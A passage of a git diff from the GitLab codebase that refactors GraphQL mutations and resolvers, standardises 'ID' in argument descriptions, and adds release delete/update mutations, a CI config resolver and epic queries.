+ argument :milestone_id, GraphQL::ID_TYPE, # rubocop: disable Graphql/IDType
required: false,
description: 'The ID of the milestone to assign to the issue. On update milestone will be removed if set to null'
diff --git a/app/graphql/mutations/merge_requests/base.rb b/app/graphql/mutations/merge_requests/base.rb
index 96228855ace..57920259cf7 100644
--- a/app/graphql/mutations/merge_requests/base.rb
+++ b/app/graphql/mutations/merge_requests/base.rb
@@ -11,7 +11,7 @@ module Mutations
argument :iid, GraphQL::STRING_TYPE,
required: true,
- description: "The iid of the merge request to mutate"
+ description: "The IID of the merge request to mutate"
field :merge_request,
Types::MergeRequestType,
diff --git a/app/graphql/mutations/metrics/dashboard/annotations/create.rb b/app/graphql/mutations/metrics/dashboard/annotations/create.rb
index b064f55825f..c2ec88c68ed 100644
--- a/app/graphql/mutations/metrics/dashboard/annotations/create.rb
+++ b/app/graphql/mutations/metrics/dashboard/annotations/create.rb
@@ -20,12 +20,12 @@ module Mutations
argument :environment_id,
::Types::GlobalIDType[::Environment],
required: false,
- description: 'The global id of the environment to add an annotation to'
+ description: 'The global ID of the environment to add an annotation to'
argument :cluster_id,
::Types::GlobalIDType[::Clusters::Cluster],
required: false,
- description: 'The global id of the cluster to add an annotation to'
+ description: 'The global ID of the cluster to add an annotation to'
argument :starting_at, Types::TimeType,
required: true,
diff --git a/app/graphql/mutations/metrics/dashboard/annotations/delete.rb b/app/graphql/mutations/metrics/dashboard/annotations/delete.rb
index d6731dfcafd..5d6763d8711 100644
--- a/app/graphql/mutations/metrics/dashboard/annotations/delete.rb
+++ b/app/graphql/mutations/metrics/dashboard/annotations/delete.rb
@@ -11,7 +11,7 @@ module Mutations
argument :id, ::Types::GlobalIDType[::Metrics::Dashboard::Annotation],
required: true,
- description: 'The global ID of the annotation to delete'
+ description: 'Global ID of the annotation to delete'
def resolve(id:)
annotation = authorized_find!(id: id)
diff --git a/app/graphql/mutations/notes/create/base.rb b/app/graphql/mutations/notes/create/base.rb
index 3cfdaf84760..a1d81c62d91 100644
--- a/app/graphql/mutations/notes/create/base.rb
+++ b/app/graphql/mutations/notes/create/base.rb
@@ -11,7 +11,7 @@ module Mutations
argument :noteable_id,
::Types::GlobalIDType[::Noteable],
required: true,
- description: 'The global id of the resource to add a note to'
+ description: 'The global ID of the resource to add a note to'
argument :body,
GraphQL::STRING_TYPE,
diff --git a/app/graphql/mutations/notes/create/note.rb b/app/graphql/mutations/notes/create/note.rb
index e97037171f7..f1cd3bddca8 100644
--- a/app/graphql/mutations/notes/create/note.rb
+++ b/app/graphql/mutations/notes/create/note.rb
@@ -9,7 +9,7 @@ module Mutations
argument :discussion_id,
::Types::GlobalIDType[::Discussion],
required: false,
- description: 'The global id of the discussion this note is in reply to'
+ description: 'The global ID of the discussion this note is in reply to'
private
diff --git a/app/graphql/mutations/notes/destroy.rb b/app/graphql/mutations/notes/destroy.rb
index 63e5eeb5ecf..0e6a215bf00 100644
--- a/app/graphql/mutations/notes/destroy.rb
+++ b/app/graphql/mutations/notes/destroy.rb
@@ -10,7 +10,7 @@ module Mutations
argument :id,
::Types::GlobalIDType[::Note],
required: true,
- description: 'The global id of the note to destroy'
+ description: 'The global ID of the note to destroy'
def resolve(id:)
note = authorized_find!(id: id)
diff --git a/app/graphql/mutations/notes/reposition_image_diff_note.rb b/app/graphql/mutations/notes/reposition_image_diff_note.rb
index 0d88bcd9a30..15bfb361b13 100644
--- a/app/graphql/mutations/notes/reposition_image_diff_note.rb
+++ b/app/graphql/mutations/notes/reposition_image_diff_note.rb
@@ -16,7 +16,7 @@ module Mutations
loads: Types::Notes::NoteType,
as: :note,
required: true,
- description: 'The global id of the DiffNote to update'
+ description: 'The global ID of the DiffNote to update'
argument :position,
Types::Notes::UpdateDiffImagePositionInputType,
diff --git a/app/graphql/mutations/notes/update/base.rb b/app/graphql/mutations/notes/update/base.rb
index 1d5738ada77..42dac20f5d3 100644
--- a/app/graphql/mutations/notes/update/base.rb
+++ b/app/graphql/mutations/notes/update/base.rb
@@ -11,7 +11,7 @@ module Mutations
argument :id,
::Types::GlobalIDType[::Note],
required: true,
- description: 'The global id of the note to update'
+ description: 'The global ID of the note to update'
def resolve(args)
note = authorized_find!(id: args[:id])
diff --git a/app/graphql/mutations/releases/create.rb b/app/graphql/mutations/releases/create.rb
index 57c1541c368..156cd252848 100644
--- a/app/graphql/mutations/releases/create.rb
+++ b/app/graphql/mutations/releases/create.rb
@@ -40,12 +40,11 @@ module Mutations
authorize :create_release
- def resolve(project_path:, milestones: nil, assets: nil, **scalars)
+ def resolve(project_path:, assets: nil, **scalars)
project = authorized_find!(full_path: project_path)
params = {
**scalars,
- milestones: milestones.presence || [],
assets: assets.to_h
}.with_indifferent_access
diff --git a/app/graphql/mutations/releases/delete.rb b/app/graphql/mutations/releases/delete.rb
new file mode 100644
index 00000000000..e887b702cce
--- /dev/null
+++ b/app/graphql/mutations/releases/delete.rb
@@ -0,0 +1,40 @@
+# frozen_string_literal: true
+
+module Mutations
+ module Releases
+ class Delete < Base
+ graphql_name 'ReleaseDelete'
+
+ field :release,
+ Types::ReleaseType,
+ null: true,
+ description: 'The deleted release.'
+
+ argument :tag_name, GraphQL::STRING_TYPE,
+ required: true, as: :tag,
+ description: 'Name of the tag associated with the release to delete.'
+
+ authorize :destroy_release
+
+ def resolve(project_path:, tag:)
+ project = authorized_find!(full_path: project_path)
+
+ params = { tag: tag }.with_indifferent_access
+
+ result = ::Releases::DestroyService.new(project, current_user, params).execute
+
+ if result[:status] == :success
+ {
+ release: result[:release],
+ errors: []
+ }
+ else
+ {
+ release: nil,
+ errors: [result[:message]]
+ }
+ end
+ end
+ end
+ end
+end
diff --git a/app/graphql/mutations/releases/update.rb b/app/graphql/mutations/releases/update.rb
new file mode 100644
index 00000000000..bf72b907679
--- /dev/null
+++ b/app/graphql/mutations/releases/update.rb
@@ -0,0 +1,70 @@
+# frozen_string_literal: true
+
+module Mutations
+ module Releases
+ class Update < Base
+ graphql_name 'ReleaseUpdate'
+
+ field :release,
+ Types::ReleaseType,
+ null: true,
+ description: 'The release after mutation.'
+
+ argument :tag_name, GraphQL::STRING_TYPE,
+ required: true, as: :tag,
+ description: 'Name of the tag associated with the release'
+
+ argument :name, GraphQL::STRING_TYPE,
+ required: false,
+ description: 'Name of the release'
+
+ argument :description, GraphQL::STRING_TYPE,
+ required: false,
+ description: 'Description (release notes) of the release'
+
+ argument :released_at, Types::TimeType,
+ required: false,
+ description: 'The release date'
+
+ argument :milestones, [GraphQL::STRING_TYPE],
+ required: false,
+ description: 'The title of each milestone the release is associated with. GitLab Premium customers can specify group milestones.'
+
+ authorize :update_release
+
+ def ready?(**args)
+ if args.key?(:released_at) && args[:released_at].nil?
+ raise Gitlab::Graphql::Errors::ArgumentError,
+ 'if the releasedAt argument is provided, it cannot be null'
+ end
+
+ if args.key?(:milestones) && args[:milestones].nil?
+ raise Gitlab::Graphql::Errors::ArgumentError,
+ 'if the milestones argument is provided, it cannot be null'
+ end
+
+ super
+ end
+
+ def resolve(project_path:, **scalars)
+ project = authorized_find!(full_path: project_path)
+
+ params = scalars.with_indifferent_access
+
+ release_result = ::Releases::UpdateService.new(project, current_user, params).execute
+
+ if release_result[:status] == :success
+ {
+ release: release_result[:release],
+ errors: []
+ }
+ else
+ {
+ release: nil,
+ errors: [release_result[:message]]
+ }
+ end
+ end
+ end
+ end
+end
diff --git a/app/graphql/mutations/snippets/create.rb b/app/graphql/mutations/snippets/create.rb
index 37c0f80310c..56c3b398949 100644
--- a/app/graphql/mutations/snippets/create.rb
+++ b/app/graphql/mutations/snippets/create.rb
@@ -4,7 +4,8 @@ module Mutations
module Snippets
class Create < BaseMutation
include SpammableMutationFields
- include ResolvesProject
+
+ authorize :create_snippet
graphql_name 'CreateSnippet'
@@ -37,17 +38,15 @@ module Mutations
description: 'Actions to perform over the snippet repository and blobs',
required: false
- def resolve(args)
- project_path = args.delete(:project_path)
-
+ def resolve(project_path: nil, **args)
if project_path.present?
- project = find_project!(project_path: project_path)
- elsif !can_create_personal_snippet?
- raise_resource_not_available_error!
+ project = authorized_find!(project_path)
+ else
+ authorize!(:global)
end
service_response = ::Snippets::CreateService.new(project,
- context[:current_user],
+ current_user,
create_params(args)).execute
snippet = service_response.payload[:snippet]
@@ -67,20 +66,8 @@ module Mutations
private
- def find_project!(project_path:)
- authorized_find!(full_path: project_path)
- end
-
- def find_object(full_path:)
- resolve_project(full_path: full_path)
- end
-
- def authorized_resource?(project)
- Ability.allowed?(context[:current_user], :create_snippet, project)
- end
-
- def can_create_personal_snippet?
- Ability.allowed?(context[:current_user], :create_snippet)
+ def find_object(full_path)
+ Project.find_by_full_path(full_path)
end
def create_params(args)
diff --git a/app/graphql/mutations/snippets/destroy.rb b/app/graphql/mutations/snippets/destroy.rb
index 4915d7dd77a..bee6503372d 100644
--- a/app/graphql/mutations/snippets/destroy.rb
+++ b/app/graphql/mutations/snippets/destroy.rb
@@ -9,7 +9,7 @@ module Mutations
argument :id, ::Types::GlobalIDType[::Snippet],
required: true,
- description: 'The global id of the snippet to destroy'
+ description: 'The global ID of the snippet to destroy'
def resolve(id:)
snippet = authorized_find!(id: id)
diff --git a/app/graphql/mutations/snippets/mark_as_spam.rb b/app/graphql/mutations/snippets/mark_as_spam.rb
index d6b96c699c0..2d6fea1f5ec 100644
--- a/app/graphql/mutations/snippets/mark_as_spam.rb
+++ b/app/graphql/mutations/snippets/mark_as_spam.rb
@@ -7,7 +7,7 @@ module Mutations
argument :id, ::Types::GlobalIDType[::Snippet],
required: true,
- description: 'The global id of the snippet to update'
+ description: 'The global ID of the snippet to update'
def resolve(id:)
snippet = authorized_find!(id: id)
@@ -23,7 +23,7 @@ module Mutations
private
def mark_as_spam(snippet)
- Spam::MarkAsSpamService.new(spammable: snippet).execute
+ Spam::MarkAsSpamService.new(target: snippet).execute
end
def authorized_resource?(snippet)
diff --git a/app/graphql/mutations/snippets/update.rb b/app/graphql/mutations/snippets/update.rb
index bcaa807e4c1..6df1ad6d8b9 100644
--- a/app/graphql/mutations/snippets/update.rb
+++ b/app/graphql/mutations/snippets/update.rb
@@ -9,7 +9,7 @@ module Mutations
argument :id, ::Types::GlobalIDType[::Snippet],
required: true,
- description: 'The global id of the snippet to update'
+ description: 'The global ID of the snippet to update'
argument :title, GraphQL::STRING_TYPE,
required: false,
@@ -27,11 +27,11 @@ module Mutations
description: 'Actions to perform over the snippet repository and blobs',
required: false
- def resolve(args)
- snippet = authorized_find!(id: args.delete(:id))
+ def resolve(id:, **args)
+ snippet = authorized_find!(id: id)
result = ::Snippets::UpdateService.new(snippet.project,
- context[:current_user],
+ current_user,
update_params(args)).execute(snippet)
snippet = result.payload[:snippet]
diff --git a/app/graphql/mutations/todos/mark_done.rb b/app/graphql/mutations/todos/mark_done.rb
index 3d73022f266..2ae50846108 100644
--- a/app/graphql/mutations/todos/mark_done.rb
+++ b/app/graphql/mutations/todos/mark_done.rb
@@ -10,7 +10,7 @@ module Mutations
argument :id,
::Types::GlobalIDType[::Todo],
required: true,
- description: 'The global id of the todo to mark as done'
+ description: 'The global ID of the todo to mark as done'
field :todo, Types::TodoType,
null: false,
diff --git a/app/graphql/mutations/todos/restore.rb b/app/graphql/mutations/todos/restore.rb
index 7c8f92d32f5..c532b455a16 100644
--- a/app/graphql/mutations/todos/restore.rb
+++ b/app/graphql/mutations/todos/restore.rb
@@ -10,7 +10,7 @@ module Mutations
argument :id,
::Types::GlobalIDType[::Todo],
required: true,
- description: 'The global id of the todo to restore'
+ description: 'The global ID of the todo to restore'
field :todo, Types::TodoType,
null: false,
diff --git a/app/graphql/mutations/todos/restore_many.rb b/app/graphql/mutations/todos/restore_many.rb
index 9e0a95c48ec..59965589856 100644
--- a/app/graphql/mutations/todos/restore_many.rb
+++ b/app/graphql/mutations/todos/restore_many.rb
@@ -10,11 +10,11 @@ module Mutations
argument :ids,
[::Types::GlobalIDType[::Todo]],
required: true,
- description: 'The global ids of the todos to restore (a maximum of 50 is supported at once)'
+ description: 'The global IDs of the todos to restore (a maximum of 50 is supported at once)'
field :updated_ids, [::Types::GlobalIDType[Todo]],
null: false,
- description: 'The ids of the updated todo items',
+ description: 'The IDs of the updated todo items',
deprecated: { reason: 'Use todos', milestone: '13.2' }
field :todos, [::Types::TodoType],
diff --git a/app/graphql/queries/epic/epic_children.query.graphql b/app/graphql/queries/epic/epic_children.query.graphql
new file mode 100644
index 00000000000..c12778109d0
--- /dev/null
+++ b/app/graphql/queries/epic/epic_children.query.graphql
@@ -0,0 +1,126 @@
+fragment PageInfo on PageInfo {
+ hasNextPage
+ hasPreviousPage
+ startCursor
+ endCursor
+}
+
+fragment RelatedTreeBaseEpic on Epic {
+ id
+ iid
+ title
+ webPath
+ relativePosition
+ userPermissions {
+ __typename
+ adminEpic
+ createEpic
+ }
+ descendantCounts {
+ __typename
+ openedEpics
+ closedEpics
+ openedIssues
+ closedIssues
+ }
+ healthStatus {
+ __typename
+ issuesAtRisk
+ issuesOnTrack
+ issuesNeedingAttention
+ }
+}
+
+fragment EpicNode on Epic {
+ ...RelatedTreeBaseEpic
+ state
+ reference(full: true)
+ relationPath
+ createdAt
+ closedAt
+ hasChildren
+ hasIssues
+ group {
+ __typename
+ fullPath
+ }
+}
+
+query childItems(
+ $fullPath: ID!
+ $iid: ID
+ $pageSize: Int = 100
+ $epicEndCursor: String = ""
+ $issueEndCursor: String = ""
+) {
+ group(fullPath: $fullPath) {
+ __typename
+ id
+ path
+ fullPath
+ epic(iid: $iid) {
+ __typename
+ ...RelatedTreeBaseEpic
+ children(first: $pageSize, after: $epicEndCursor) {
+ __typename
+ edges {
+ __typename
+ node {
+ __typename
+ ...EpicNode
+ }
+ }
+ pageInfo {
+ __typename
+ ...PageInfo
+ }
+ }
+ issues(first: $pageSize, after: $issueEndCursor) {
+ __typename
+ edges {
+ __typename
+ node {
+ __typename
+ iid
+ epicIssueId
+ title
+ closedAt
+ state
+ createdAt
+ confidential
+ dueDate
+ weight
+ webPath
+ reference(full: true)
+ relationPath
+ relativePosition
+ assignees {
+ __typename
+ edges {
+ __typename
+ node {
+ __typename
+ webUrl
+ name
+ username
+ avatarUrl
+ }
+ }
+ }
+ milestone {
+ __typename
+ title
+ startDate
+ dueDate
+ }
+ healthStatus
+ }
+ }
+ pageInfo {
+ __typename
+ ...PageInfo
+ }
+ }
+ }
+ }
+}
diff --git a/app/graphql/queries/epic/epic_details.query.graphql b/app/graphql/queries/epic/epic_details.query.graphql
new file mode 100644
index 00000000000..406d630b180
--- /dev/null
+++ b/app/graphql/queries/epic/epic_details.query.graphql
@@ -0,0 +1,20 @@
+query epicDetails($fullPath: ID!, $iid: ID!) {
+ group(fullPath: $fullPath) {
+ __typename
+ epic(iid: $iid) {
+ __typename
+ participants {
+ __typename
+ edges {
+ __typename
+ node {
+ __typename
+ name
+ avatarUrl
+ webUrl
+ }
+ }
+ }
+ }
+ }
+}
diff --git a/app/graphql/resolvers/alert_management/alert_resolver.rb b/app/graphql/resolvers/alert_management/alert_resolver.rb
index c3219d9cdc3..b115bd80113 100644
--- a/app/graphql/resolvers/alert_management/alert_resolver.rb
+++ b/app/graphql/resolvers/alert_management/alert_resolver.rb
@@ -18,6 +18,11 @@ module Resolvers
description: 'Sort alerts by this criteria',
required: false
+ argument :domain, Types::AlertManagement::DomainFilterEnum,
+ description: 'Filter query for given domain',
+ required: true,
+ default_value: 'operations'
+
argument :search, GraphQL::STRING_TYPE,
description: 'Search query for title, description, service, or monitoring_tool.',
required: false
diff --git a/app/graphql/resolvers/assigned_merge_requests_resolver.rb b/app/graphql/resolvers/assigned_merge_requests_resolver.rb
index 30415ef5d2d..385f8db51b0 100644
--- a/app/graphql/resolvers/assigned_merge_requests_resolver.rb
+++ b/app/graphql/resolvers/assigned_merge_requests_resolver.rb
@@ -4,6 +4,7 @@ module Resolvers
class AssignedMergeRequestsResolver < UserMergeRequestsResolverBase
type ::Types::MergeRequestType.connection_type, null: true
accept_author
+ accept_reviewer
def user_role
:assignee
diff --git a/app/graphql/resolvers/authored_merge_requests_resolver.rb b/app/graphql/resolvers/authored_merge_requests_resolver.rb
index 1426ca83c06..4de1046ce0d 100644
--- a/app/graphql/resolvers/authored_merge_requests_resolver.rb
+++ b/app/graphql/resolvers/authored_merge_requests_resolver.rb
@@ -4,6 +4,7 @@ module Resolvers
class AuthoredMergeRequestsResolver < UserMergeRequestsResolverBase
type ::Types::MergeRequestType.connection_type, null: true
accept_assignee
+ accept_reviewer
def user_role
:author
diff --git a/app/graphql/resolvers/base_resolver.rb b/app/graphql/resolvers/base_resolver.rb
index 87a63231b22..539e37db1c2 100644
--- a/app/graphql/resolvers/base_resolver.rb
+++ b/app/graphql/resolvers/base_resolver.rb
@@ -8,6 +8,14 @@ module Resolvers
argument_class ::Types::BaseArgument
+ def self.requires_argument!
+ @requires_argument = true
+ end
+
+ def self.field_options
+ super.merge(requires_argument: @requires_argument)
+ end
+
def self.singular_type
return unless type
@@ -109,6 +117,10 @@ module Resolvers
[args[:iid], args[:iids]].any? ? 0 : 0.01
end
+ def offset_pagination(relation)
+ ::Gitlab::Graphql::Pagination::OffsetActiveRecordRelationConnection.new(relation)
+ end
+
override :object
def object
super.tap do |obj|
diff --git a/app/graphql/resolvers/board_list_issues_resolver.rb b/app/graphql/resolvers/board_list_issues_resolver.rb
index 3421e1024c0..3e4a5a3cb70 100644
--- a/app/graphql/resolvers/board_list_issues_resolver.rb
+++ b/app/graphql/resolvers/board_list_issues_resolver.rb
@@ -16,7 +16,7 @@ module Resolvers
filter_params = issue_filters(args[:filters]).merge(board_id: list.board.id, id: list.id)
service = ::Boards::Issues::ListService.new(list.board.resource_parent, context[:current_user], filter_params)
- Gitlab::Graphql::Pagination::OffsetActiveRecordRelationConnection.new(service.execute)
+ offset_pagination(service.execute)
end
# https://gitlab.com/gitlab-org/gitlab/-/issues/235681
diff --git a/app/graphql/resolvers/board_lists_resolver.rb b/app/graphql/resolvers/board_lists_resolver.rb
index ef12dfa19ff..35d938c50be 100644
--- a/app/graphql/resolvers/board_lists_resolver.rb
+++ b/app/graphql/resolvers/board_lists_resolver.rb
@@ -3,9 +3,13 @@
module Resolvers
class BoardListsResolver < BaseResolver
include BoardIssueFilterable
+ prepend ManualAuthorization
include Gitlab::Graphql::Authorize::AuthorizeResource
type Types::BoardListType, null: true
+ extras [:lookahead]
+
+ authorize :read_list
argument :id, Types::GlobalIDType[List],
required: false,
@@ -27,7 +31,7 @@ module Resolvers
List.preload_preferences_for_user(lists, context[:current_user])
end
- Gitlab::Graphql::Pagination::OffsetActiveRecordRelationConnection.new(lists)
+ offset_pagination(lists)
end
private
@@ -42,10 +46,6 @@ module Resolvers
service.execute(board, create_default_lists: false)
end
- def authorized_resource?(board)
- Ability.allowed?(context[:current_user], :read_list, board)
- end
-
def load_preferences?(lookahead)
lookahead&.selection(:edges)&.selection(:node)&.selects?(:collapsed)
end
diff --git a/app/graphql/resolvers/ci/config_resolver.rb b/app/graphql/resolvers/ci/config_resolver.rb
new file mode 100644
index 00000000000..d6e7c206691
--- /dev/null
+++ b/app/graphql/resolvers/ci/config_resolver.rb
@@ -0,0 +1,60 @@
+# frozen_string_literal: true
+
+module Resolvers
+ module Ci
+ class ConfigResolver < BaseResolver
+ type Types::Ci::Config::ConfigType, null: true
+
+ argument :content, GraphQL::STRING_TYPE,
+ required: true,
+ description: 'Contents of .gitlab-ci.yml'
+
+ def resolve(content:)
+ result = ::Gitlab::Ci::YamlProcessor.new(content).execute
+
+ response = if result.errors.empty?
+ {
+ status: :valid,
+ errors: [],
+ stages: make_stages(result.jobs)
+ }
+ else
+ {
+ status: :invalid,
+ errors: result.errors
+ }
+ end
+
+ response.merge(merged_yaml: result.merged_yaml)
+ end
+
+ private
+
+ def make_jobs(config_jobs)
+ config_jobs.map do |job_name, job|
+ {
+ name: job_name,
+ stage: job[:stage],
+ group_name: CommitStatus.new(name: job_name).group_name,
+ needs: job.dig(:needs, :job) || []
+ }
+ end
+ end
+
+ def make_groups(job_data)
+ jobs = make_jobs(job_data)
+
+ jobs_by_group = jobs.group_by { |job| job[:group_name] }
+ jobs_by_group.map do |name, jobs|
+ { jobs: jobs, name: name, stage: jobs.first[:stage], size: jobs.size }
+ end
+ end
+
+ def make_stages(jobs)
+ make_groups(jobs)
+ .group_by { |group| group[:stage] }
+ .map { |name, groups| { name: name, groups: groups } }
+ end
+ end
+ end
+end
diff --git a/app/graphql/resolvers/ci/jobs_resolver.rb b/app/graphql/resolvers/ci/jobs_resolver.rb
index 8a9ae42b375..2c4911748a5 100644
--- a/app/graphql/resolvers/ci/jobs_resolver.rb
+++ b/app/graphql/resolvers/ci/jobs_resolver.rb
@@ -5,6 +5,8 @@ module Resolvers
class JobsResolver < BaseResolver
alias_method :pipeline, :object
+ type ::Types::Ci::JobType.connection_type, null: true
+
argument :security_report_types, [Types::Security::ReportTypeEnum],
required: false,
description: 'Filter jobs by the type of security report they produce'
diff --git a/app/graphql/resolvers/ci/pipeline_stages_resolver.rb b/app/graphql/resolvers/ci/pipeline_stages_resolver.rb
index f9817d8b97b..98170e0cd2e 100644
--- a/app/graphql/resolvers/ci/pipeline_stages_resolver.rb
+++ b/app/graphql/resolvers/ci/pipeline_stages_resolver.rb
@@ -5,6 +5,9 @@ module Resolvers
class PipelineStagesResolver < BaseResolver
include LooksAhead
+ type Types::Ci::StageType.connection_type, null: true
+ extras [:lookahead]
+
alias_method :pipeline, :object
def resolve_with_lookahead
diff --git a/app/graphql/resolvers/ci/runner_setup_resolver.rb b/app/graphql/resolvers/ci/runner_setup_resolver.rb
index 241cd57f74b..f68d71174c3 100644
--- a/app/graphql/resolvers/ci/runner_setup_resolver.rb
+++ b/app/graphql/resolvers/ci/runner_setup_resolver.rb
@@ -23,7 +23,10 @@ module Resolvers
def resolve(platform:, architecture:, **args)
instructions = Gitlab::Ci::RunnerInstructions.new(
- { current_user: current_user, os: platform, arch: architecture }.merge(target_param(args))
+ current_user: current_user,
+ os: platform,
+ arch: architecture,
+ **target_param(args)
)
{
diff --git a/app/graphql/resolvers/concerns/caching_array_resolver.rb b/app/graphql/resolvers/concerns/caching_array_resolver.rb
index 4f2c8b98928..e7555dcf42c 100644
--- a/app/graphql/resolvers/concerns/caching_array_resolver.rb
+++ b/app/graphql/resolvers/concerns/caching_array_resolver.rb
@@ -43,8 +43,10 @@
# (i.e. `resolve(**args).sync == query_for(query_input(**args)).to_a`).
#
# Classes may implement:
-# - #item_found(A, R) (return value is ignored)
# - max_union_size Integer (the maximum number of queries to run in any one union)
+# - preload -> Preloads|NilClass (a set of preloads to apply to each query)
+# - #item_found(A, R) (return value is ignored)
+# - allowed?(R) -> Boolean (if this method returns false, the value is not resolved)
module CachingArrayResolver
MAX_UNION_SIZE = 50
@@ -62,6 +64,7 @@ module CachingArrayResolver
queries.in_groups_of(max_union_size, false).each do |group|
by_id = model_class
.from_union(tag(group), remove_duplicates: false)
+ .preload(preload) # rubocop: disable CodeReuse/ActiveRecord
.group_by { |r| r[primary_key] }
by_id.values.each do |item_group|
@@ -75,6 +78,16 @@ module CachingArrayResolver
end
end
+ # Override to apply filters on a per-item basis
+ def allowed?(item)
+ true
+ end
+
+ # Override to specify preloads for each query
+ def preload
+ nil
+ end
+
# Override this to intercept the items once they are found
def item_found(query_input, item)
end
@@ -94,6 +107,8 @@ module CachingArrayResolver
end
def found(loader, key, value)
+ return unless allowed?(value)
+
loader.call(key) do |vs|
item_found(key, value)
vs << value
diff --git a/app/graphql/resolvers/concerns/manual_authorization.rb b/app/graphql/resolvers/concerns/manual_authorization.rb
new file mode 100644
index 00000000000..182110b9594
--- /dev/null
+++ b/app/graphql/resolvers/concerns/manual_authorization.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+# TODO: remove this entirely when framework authorization is released
+# See: https://gitlab.com/gitlab-org/gitlab/-/issues/290216
+module ManualAuthorization
+ def resolve(**args)
+ super
+ rescue ::Gitlab::Graphql::Errors::ResourceNotAvailable
+ nil
+ end
+end
diff --git a/app/graphql/resolvers/design_management/design_resolver.rb b/app/graphql/resolvers/design_management/design_resolver.rb
index e0a68bae397..b60c14ca835 100644
--- a/app/graphql/resolvers/design_management/design_resolver.rb
+++ b/app/graphql/resolvers/design_management/design_resolver.rb
@@ -5,6 +5,8 @@ module Resolvers
class DesignResolver < BaseResolver
type ::Types::DesignManagement::DesignType, null: true
+ requires_argument!
+
argument :id, ::Types::GlobalIDType[::DesignManagement::Design],
required: false,
description: 'Find a design by its ID'
diff --git a/app/graphql/resolvers/design_management/version/design_at_version_resolver.rb b/app/graphql/resolvers/design_management/version/design_at_version_resolver.rb
index 70021057f71..49a4974bfbf 100644
--- a/app/graphql/resolvers/design_management/version/design_at_version_resolver.rb
+++ b/app/graphql/resolvers/design_management/version/design_at_version_resolver.rb
@@ -12,6 +12,8 @@ module Resolvers
type Types::DesignManagement::DesignAtVersionType, null: true
+ requires_argument!
+
authorize :read_design
argument :id, DesignAtVersionID,
diff --git a/app/graphql/resolvers/design_management/version_in_collection_resolver.rb b/app/graphql/resolvers/design_management/version_in_collection_resolver.rb
index ecd7ab3ee45..7d20cfc2c8e 100644
--- a/app/graphql/resolvers/design_management/version_in_collection_resolver.rb
+++ b/app/graphql/resolvers/design_management/version_in_collection_resolver.rb
@@ -7,6 +7,8 @@ module Resolvers
type Types::DesignManagement::VersionType, null: true
+ requires_argument!
+
authorize :read_design
alias_method :collection, :object
diff --git a/app/graphql/resolvers/design_management/versions_resolver.rb b/app/graphql/resolvers/design_management/versions_resolver.rb
index 23858c8e991..3c718a631db 100644
--- a/app/graphql/resolvers/design_management/versions_resolver.rb
+++ b/app/graphql/resolvers/design_management/versions_resolver.rb
@@ -9,6 +9,8 @@ module Resolvers
VersionID = ::Types::GlobalIDType[::DesignManagement::Version]
+ extras [:parent]
+
argument :earlier_or_equal_to_sha, GraphQL::STRING_TYPE,
as: :sha,
required: false,
diff --git a/app/graphql/resolvers/error_tracking/sentry_error_stack_trace_resolver.rb b/app/graphql/resolvers/error_tracking/sentry_error_stack_trace_resolver.rb
index 669b487db10..13b5672d750 100644
--- a/app/graphql/resolvers/error_tracking/sentry_error_stack_trace_resolver.rb
+++ b/app/graphql/resolvers/error_tracking/sentry_error_stack_trace_resolver.rb
@@ -3,6 +3,8 @@
module Resolvers
module ErrorTracking
class SentryErrorStackTraceResolver < BaseResolver
+ type Types::ErrorTracking::SentryErrorStackTraceType, null: true
+
argument :id, ::Types::GlobalIDType[::Gitlab::ErrorTracking::DetailedError],
required: true,
description: 'ID of the Sentry issue'
diff --git a/app/graphql/resolvers/error_tracking/sentry_errors_resolver.rb b/app/graphql/resolvers/error_tracking/sentry_errors_resolver.rb
index c5cf924ce7f..e844ffedbeb 100644
--- a/app/graphql/resolvers/error_tracking/sentry_errors_resolver.rb
+++ b/app/graphql/resolvers/error_tracking/sentry_errors_resolver.rb
@@ -4,19 +4,26 @@ module Resolvers
module ErrorTracking
class SentryErrorsResolver < BaseResolver
type Types::ErrorTracking::SentryErrorType.connection_type, null: true
+ extension Gitlab::Graphql::Extensions::ExternallyPaginatedArrayExtension
+
+ argument :search_term, ::GraphQL::STRING_TYPE,
+ description: 'Search query for the Sentry error details',
+ required: false
+
+ # TODO: convert to Enum
+ argument :sort, ::GraphQL::STRING_TYPE,
+ description: 'Attribute to sort on. Options are frequency, first_seen, last_seen. last_seen is default',
+ required: false
+
+ delegate :project, to: :object
def resolve(**args)
args[:cursor] = args.delete(:after)
- project = object.project
- result = ::ErrorTracking::ListIssuesService.new(
- project,
- context[:current_user],
- args
- ).execute
+ result = ::ErrorTracking::ListIssuesService.new(project, current_user, args).execute
- next_cursor = result[:pagination]&.dig('next', 'cursor')
- previous_cursor = result[:pagination]&.dig('previous', 'cursor')
+ next_cursor = result.dig(:pagination, 'next', 'cursor')
+ previous_cursor = result.dig(:pagination, 'previous', 'cursor')
issues = result[:issues]
# ReactiveCache is still fetching data
@@ -24,6 +31,10 @@ module Resolvers
Gitlab::Graphql::ExternallyPaginatedArray.new(previous_cursor, next_cursor, *issues)
end
+
+ def self.field_options
+ super.merge(connection: false) # we manage the pagination manually, so opt out of the connection field extension
+ end
end
end
end
diff --git a/app/graphql/resolvers/group_members_resolver.rb b/app/graphql/resolvers/group_members_resolver.rb
index d3aa376c29c..fcdf7c01d8b 100644
--- a/app/graphql/resolvers/group_members_resolver.rb
+++ b/app/graphql/resolvers/group_members_resolver.rb
@@ -6,6 +6,11 @@ module Resolvers
authorize :read_group_member
+ argument :relations, [Types::GroupMemberRelationEnum],
+ description: 'Filter members by the given member relations',
+ required: false,
+ default_value: GroupMembersFinder::DEFAULT_RELATIONS
+
private
def preloads
diff --git a/app/graphql/resolvers/issue_status_counts_resolver.rb b/app/graphql/resolvers/issue_status_counts_resolver.rb
index 5d0d5693244..58cff559d0d 100644
--- a/app/graphql/resolvers/issue_status_counts_resolver.rb
+++ b/app/graphql/resolvers/issue_status_counts_resolver.rb
@@ -6,6 +6,8 @@ module Resolvers
type Types::IssueStatusCountsType, null: true
+ extras [:lookahead]
+
def continue_issue_resolve(parent, finder, **args)
finder.parent_param = parent
apply_lookahead(Gitlab::IssuablesCountForState.new(finder, parent))
diff --git a/app/graphql/resolvers/issues_resolver.rb b/app/graphql/resolvers/issues_resolver.rb
index dd35219454f..ae27cce9113 100644
--- a/app/graphql/resolvers/issues_resolver.rb
+++ b/app/graphql/resolvers/issues_resolver.rb
@@ -10,7 +10,7 @@ module Resolvers
argument :sort, Types::IssueSortEnum,
description: 'Sort issues by this criteria',
required: false,
- default_value: 'created_desc'
+ default_value: :created_desc
type Types::IssueType.connection_type, null: true
